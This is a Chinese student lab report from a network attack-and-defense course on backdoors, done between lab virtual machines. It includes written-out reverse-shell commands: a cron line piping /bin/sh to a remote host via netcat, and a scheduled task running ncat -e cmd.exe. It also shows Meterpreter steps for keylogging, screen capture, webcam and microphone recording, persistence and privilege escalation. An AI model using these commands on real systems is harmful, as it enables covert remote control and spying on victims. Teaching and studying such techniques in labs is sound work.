2017-2018-2 20155228 《网络对抗技术》 实验二:后门原理与实践

本文记录了一次关于网络对抗技术的实验过程,主要包括使用Netcat和Socat获取远程主机Shell,利用Meterpreter生成可执行文件并获取主机Shell,以及尝试提权等。还介绍了后门的启动方式和检测方法。

2017-2018-2 20155228 《网络对抗技术》 实验二:后门原理与实践

实验内容

  1. 使用netcat获取主机操作Shell,cron启动 (0.5分)

  2. 使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。


基础问题回答

1. 例举你能想到的一个后门进入到你系统中的可能方式?

攻击者对网络上安全性较差的网站发起攻击使其成为挂马网站,受害者访问挂马网站时会被引导至木马网站;

如果受害者的浏览器存在漏洞,木马就会在不被察觉的情况下下载到受害者的计算机中。

2. 例举你知道的后门如何启动起来(win及linux)的方式?

  • 后门程序会将其添加到开机自动启动程序列表中,使其开机时自启动。

  • 后门程序也会将其与其他程序进行关联,以关联启动的方式进行启动。

  • 后门程序还会伪装成为正常程序被用户启动。

3. Meterpreter有哪些给你印象深刻的功能?

调用摄像头和麦克风算是很有趣的功能,但是击键记录是更具有威胁性的功能,击键记录可以获取受害者的重要信息,比如账户口令或者其他敏感数据。

4. 如何发现自己有系统有没有被安装后门?

  • 通过对防火墙和入侵检测系统设置严格的安全策略监视系统中进程的行为,如果发现进程的异常行为就可以证明后门的存在。

  • 通过检查进程的权限、行为、资源占用情况等判断是否有后门运行的进程。


实验总结与体会

这次实验研究的是后门的原理和应用,而我对后门的理解是:不走正常流程访问系统的通道。

后门可以是独立的、专门的后门程序,也可以存在于编译器,应用程序甚至操作系统中。

这次实验真的是非常意思,尽管操作起来并不是很复杂,主要是四个步骤:

  1. 编写代码构建后门

  2. 将后门植入到受害者的计算机中

  3. 运行后门程序

  4. 防止后门被杀毒软件和防火墙发现

(当然本次实验在虚拟机环境中完成没有杀毒软件的干扰,

本次实验所使用的后门也瞒不过杀毒软件,我把毒化程序放到虚拟机与主机的共享文件夹里马上就被360给清理掉了)

1073846-20180328231147934-2008590064.png

实验指导书写得很详细,照着一步一步做就可以顺利得到结果。实验过程中遇到了一些意想不到的问题,好在最后都得到了解决。

值得一提的是,这次实验中kali虚拟机和windows虚拟机是在NAT网络下实现交互的,

有点奇怪的是kali虚拟机在NAT网络模式下没法上网,只有把改为桥接模式才行,

而windows虚拟机在桥接模式下又不能上网了,这就很气人了。

virtualbox的网络地址转换NAT模式和NAT网络模式是两个不同的模式,

诡异的是在NAT模式下,kali虚拟机和windows虚拟机自动分配的地址都是一样的,手工配置IP地址还是会有问题,ping肯定是ping不通的。

最后还是用的NAT网络模式,两个虚拟机的IP地址会不一样。

kali虚拟机没法上网无所谓了,只要能跟windows虚拟机连上就行了,两个计算机的文件传输用netcat实现。

1073846-20180328231158906-696234328.png


实验指导

实践过程记录

1. 用netcat获取远程主机的Shell

Win获得Linux Shell
  1. windows打开监听

  2. Linux反弹连接win

  3. windows下获得一个linux shell,可运行任何指令,如ls

1073846-20180328231205705-1192735203.png

1073846-20180328231210530-1245522766.png

Linux获得Win Shell
  1. Linux运行监听指令

  2. Windows反弹连接Linux

  3. Linux下看到Windows的命令提示

1073846-20180328231217471-1358277441.png

1073846-20180328231222402-1583915710.png

netcat传输数据
  1. Start by using nc to listen on a specific port, with output captured into a file:

  2. Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

  3. After the file has been transferred, the connection will close automatically.

1073846-20180328231231821-602600142.png

使用socat获取主机操作Shell, 任务计划启动

1073846-20180328231238653-1988568431.png

2. Meterpreter

2.1. 生成的KiTTy_backdoor.exe,复制到Win

我做实验时用的是IGI.exe,这是一个类似于绝地求生的单机游戏,可以用来训练吃鸡,后门会被写到这个文件中

可以用其他文件代替,不论用哪个可执行文件都可以,但当然需要复制到linux下了

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

生成的文件当然需要复制到windows中了,当然十之八九杀毒软件会报警并删除该文件,因为是后门嘛,我用的是虚拟机,没有杀毒软件。

1073846-20180328231253265-550755045.png

2.2. MSF打开监听进程
msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > set LHOST 10.10.210.4

1073846-20180328231304761-44686748.png

1073846-20180328231310089-1059225139.png

这就很奇怪了,我已经在上面设置了tcp,但是port却是4444而非443,没关系再改一下就好了

msf exploit(handler) > set LPORT 443

msf exploit(handler) > exploit 
2.3. 在Win平台双击运行IGI2.exe和Meterpreter常用功能
meterpreter > dir

1073846-20180328231316978-640471523.png

基本功能和获取Windows命令行界面
meterpreter > help

meterpreter > shell

1073846-20180328231322863-830738501.png

获取ruby交互界面
meterpreter > irb

1073846-20180328231330458-344629379.png

进程迁移
meterpreter > ps
meterpreter > migrate 2648
meterpreter > getpid

1073846-20180328231336186-1211821050.png

抓图和获取击键记录

获取击键记录是获取当前进程的击键记录,这里我又将进程迁移到记事本notepad.exe上

meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump

1073846-20180328231347854-571023859.png

1073846-20180328231353528-126240511.png

使用名为checkvm的POST检查被控机是否是虚拟机
meterpreter > info post/windows/gather/checkvm
meterpreter > run post/windows/gather/checkvm 

1073846-20180328231359230-1344326712.png

1073846-20180328231405267-2099085930.png

试试键盘记录
meterpreter > run post/windows/capture/keylog_recorder 

CTL+C

1073846-20180328231411393-1038730989.png

安装Meterpreter(Persistence)到目标机
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.20.136

1073846-20180328231417742-158572878.png

提权

如果要提权,需要在win上以管理员身份运行毒化程序才能提权,否则会失败

1073846-20180328231429297-893297542.png

拍照和录音

在virtualbox的虚拟机上要调用摄像头的话,要到官网下载virtualbox扩展包,注意一定要下载对应版本的扩展包。

1073846-20180328231435840-933992962.png

如果virtualbox版本比较老,可以在old_build里面找

1073846-20180328231441961-260855458.png

安装扩展包成功后在管理->全局设定->扩展可以看到。
1073846-20180328231448042-1305060372.png

打开虚拟机->设备->摄像头

1073846-20180328231454421-521623339.png

摄像头即可使用

录音的话,可以加个-d指定录音秒数

record_mic -d 30

1073846-20180328231508686-1253022138.png

3. 后门启动

3.1. Windows的任务计划

Windows->控制面板->管理工具->任务计划程序->新建任务计划->触发器

1073846-20180328231514678-1026533527.png

操作->程序或脚本

c:\progaramfiles\ncat\ncat.exe

1073846-20180328231522418-206821221.png

操作->添加参数

-e cmd.exe 10.10.210.4 5228

1073846-20180328231528962-1474429945.png

3.2. Linux的定时任务Cron

crontab指令增加一条定时任务,"-e"表示编辑。

crontab -e

因为是第一次编辑,故提示选择编辑器

Choose 1-5 [1]: 3

打开文档后在最后一行代码下面再填一行代码

crontab: installing new crontab
43 * * * * /bin/netcat 10.10.210.5 5228 -e /bin/sh

保存、退出后配置即生效

1073846-20180328231538409-285337073.png

PSP时间统计

步骤耗时百分比
需求分析20min8%
设计40min16%
代码实现120min50%
测试20min8%
总结分析40min16%

转载于:https://www.cnblogs.com/besti20155228/p/8667084.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值